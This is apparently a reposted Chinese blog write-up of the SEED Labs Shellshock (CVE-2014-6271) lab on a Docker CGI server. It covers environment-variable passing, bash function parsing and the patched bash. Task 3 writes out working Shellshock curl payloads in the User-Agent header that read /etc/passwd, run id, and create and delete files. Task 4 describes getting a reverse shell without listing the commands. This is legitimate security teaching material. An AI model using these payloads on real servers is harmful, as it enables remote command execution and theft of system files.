ShellShock20.04版本

Posted 陌上&未央

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ShellShock20.04版本相关的知识,希望对你有一定的参考价值。

ShellShock20.04版本

Topic

  • shellshock
  • 环境变量
  • Bash中的函数定义
  • Apache和CGI程序

实验环境设置

DNS Setting

将IP10.9.0.80和www.seedlab-shellshock.com连接

使用cat /etc/hosts查看DNS设置

hosts格式配置

hosts文件可以配置主机ip与对应的主机名。在局域网或者是万维网上,每台主机都有一个ip地址,它区分开每台主机,并可以根据ip进行通讯。但是Ip地址不符合人脑的记忆规律,因此出现了域名,例如www.baidu.com.在一个局域网中,每台机器都有一个主机名,用于区分主机,便于相互访问。

hosts文件格式
ip地址 主机名/域名 (主机别名)

Docker实验容器安装

$ docker-compose build  # Build the container image
$ docker-compose up  # Start the container
$ docker-compose down  # Shut down the container

$ dcbuild  # Alias for: docker-compose build
$ dcup  # Alias for: docker-compose up
$ dcdown  # Alias for: docker-compose down


关闭docker服务时,需要在新的终端,输入关闭指令

$ dockps  // Alias for: docker ps --format "{{.ID}}  {{.Names}}"
$ docksh <id>  // Alias for: docker exec -it <id> /bin/bash
$ docker exec -t -i * /bin/bash – 进入到容器内部, *表示是需要进入的容器id
exit//退出指令

其中 ID号可以打印部分,因为ID号都是唯一的。


TASK

Task 1: Experimenting with Bash Function

设计一个程序,对比正常的Shell和有漏洞的ShellShock对代码的解析,判断是当前Shell是否存在漏洞

bash_shellshock运行后,输出extra,且foo函数解析不全,故当前shell有漏洞。

Task 2: Passing Data to Bash via Environment Variable

$ curl -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -A "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -e "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -H "AAAAAA: BBBBBB" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi

-v打印出HTTP请求和来自服务器的响应

-A选项,可以用来设置User-Agent字段

-e,改变Referer字段

-H,改变额外头字段



可以发现成功打印出了环境变量,当CGI程序被调用的时候,会首先FORK创建一个新进程,然后再使用exec()函数来执行CGI程序,因为CGI程序开头是#!/bin/bash,所以该程序是一个shell脚本,所以他执行后,bash会执行shell脚本,当创建子进程执行bash时,它为bash进程提供了环境变量,传递到子进程。其中有些环境变量可以通过人为控制传入指定的字符,例如USER_AGENT等。

Task 3: Launching the Shellshock Attack

//窃取密码
curl -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/cat /etc/passwd"  http://www.seedlab-shellshock.com/cgi-bin/vul.cgi

//ID查看
curl -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/id"  http://www.seedlab-shellshock.com/cgi-bin/vul.cgi

//creat 
curl -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/touch /tmp/file"  http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
//查看
url -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/ls /tmp" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
//delet
url -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/rm /tmp/file" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi


指令解析:

() { echo ”hello” ;};这一段就是新程序的一个函数。

echo Content_type: text/plain; echo;这一段就是告诉shell解析的时候保持为纯文本,不用其他的解释型语言来解析

/bin/cat /etc/passwd 查看/etc/passwd的文件内容。至于为什么不直接用cat指令,的确打印不出来,应该是无法识别,可能无法共享环境变量。

运行之后即可打开/etc/passwd文件

/ect/shadow文件需要root权限才能查看。seed用户通过/bin/cat 查看时会被拒绝访问

Question1:

不能从shadow窃取密码,shadow只有root权限和shadow权限,seed用户无权限读取。

Question2:

不能进行攻击,?之后的字符串能够注入能得到:QUERY_STRING=AAAAA;REQUEST_URI=/cgi-bin/getenv.cgi?AAAAA,且需要连续字符串;输入:

curl "http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi"?-A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/id"

得到:

Taks4:Getting a Reverse Shell via Shellshock Attack

  • 攻击者端创建监听

  • 攻击者端创建反向Shell

  • 命令解读

    10.9.0.1为主机IP,可通过ifconfig查看。链接至docker容器内的有漏洞的getenv.cgi程序执行。主机通过上述命令取得服务器的输入权限和输出反馈。

  • 创建成功

Task 5: Using the Patched Bash

如何修改docker内文件?一篇文章带你搞定如何在 Docker 创建的容器中修改配置

  1. 刚创建的 docker 容器,是没有 vi 命令的:
  2. 需要先执行:apt-get update
  3. 待更新完毕,再执行apt-get install vim,安装 vi
  4. 至此,vi 命令安装成功,接下来便可以在 docker 容器中执行修改文件操作
  5. 进入docker,修改docker文件

  1. 执行task3指令

正常的bash,对该命令不会错误解析,造成ShellShock攻击,且能正确打印环境变量

以上是关于ShellShock20.04版本的主要内容,如果未能解决你的问题,请参考以下文章

Shellshock远程命令注入(CVE-2014-6271)漏洞复现

pwnable.kr shellshock

鬼精灵Grinch:比Bash破壳(shellshock)更严重的Linux漏洞

Shellshock 破壳漏洞 Writeup

Linux内核开发——编译Ubuntu 20.04内核代码

shellshock漏洞回顾